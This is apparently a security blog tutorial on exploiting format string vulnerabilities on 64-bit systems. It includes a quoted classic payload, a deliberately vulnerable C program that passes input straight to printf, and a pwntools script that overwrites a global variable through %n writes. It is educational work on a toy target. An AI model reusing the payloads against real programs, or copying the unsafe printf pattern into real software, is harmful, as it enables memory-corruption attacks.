Fun With Format String Vulnerabilities

TL;DR

Just use pwntools 😜

The Issue

There are a lot of blog posts talking about format string vulnerability exploits, and they usually demonstrate them the same way.

\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08%x%x%126x%n%17x%n%17x%n%17x%n

–source: hackinglab.cz blog

The general anatomy of these payloads is

[padding][4 address bytes]%[value to write]c%[n|hn|hhn]$N...
          ^                  ^                ^         ^
          ` put this addr    |                |         ` write to "Nth" stack entry
            on stack         |                 ` write word (n),
            (pointer)         ` value to write   half word (hn), 
                                to "addr"        or byte (hhn)

A lot of documentation repeats this payload format. A problem occurs when we try to implement this on 64-bit machines: the 64-bit address most likely contain NULL bytes (‘\x00’)

This is because addresses on 64-bit machines are 8 bytes, but typically these map to 6-byte address in virtual memory.

When you have NULL bytes in your format string printf stops printing.

The solution

So what’s a hacker to do?

Put addresses at the end of the payload, in case they contain null bytes. Or just use pwntools like I said.

Learning Reinforcement

PoC || GTFO right? Here’s a vulnerable program.

#include <stdio.h>
#include <unistd.h>


int flag = 0x31337;

int main (void)
{
    int* flagPtr = &flag;
    char buf[64];

    printf("%p\n", flagPtr);

    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);

    if (flag != 0x31337) {
        puts("getting close");
    }

    if (flag == 42) {
        puts("win");
    } else {
        puts("lose");
    }

    printf("0x%x\n", flag);
    return 0;
}

Executing the program looks like this when I provide “?” for input when it hits read.

root@1dcc988dd9eb:/pwn# ./fsv
0x557a7325c010
?
?
lose
0x31337

Notice the address printed, 0x557a7325c010, is six bytes, meaning it will contain a null byte if we pack it into a 64bit LE format.

Finally, here is the block of Pwntools code that wins the game:

io = start()

leak = io.readline()
leak_addr = int(leak, 16)
io.info(f"address of flag: 0x{leak_addr:x}")

payload = fit({
    0: [
        b'%42c%12$nDDDDDDD',
        p64(leak_addr)
    ],
}, length=64)

input("\n[Press ENTER to send payload]\n")
io.send(payload)

io.interactive()

Some notes about this code:

  1. %42c - write 42 characters, the “what” value
  2. %12$n - The number of stack-pointer-offsets to the address. Discovered through trial-and-error.
  3. $n We’re doing one (1) 4 byte write
  4. I put padding (‘D’) at the end of the format string, so calculating the write value doesn’t need to take accumulated bytes written into account.
  5. The format string is padded to align the address to the stack.
  6. The entire payload is padded to a consistent length, because sometimes stuff shifts on the stack when you’re messing around with input strings.

To check that everything is aligned on the stack, we can take a look at the first instruction in main after it calls read.

stack_image1

The first flag pointer is the stack variable in the code, the second is input by the payload and is the one the payload references.

That’s it!

I still haven’t figured out how to use pwntools to make this easier/better so keep an eye out for that post. Slàinte!

  1. Wikipedia - Uncontrolled Format Strings
  2. hackinglab.cz blog
Fun With Format String Vulnerabilities
Older post

Hack The Box - Vault Breaker

Vault Breaker pwn challenge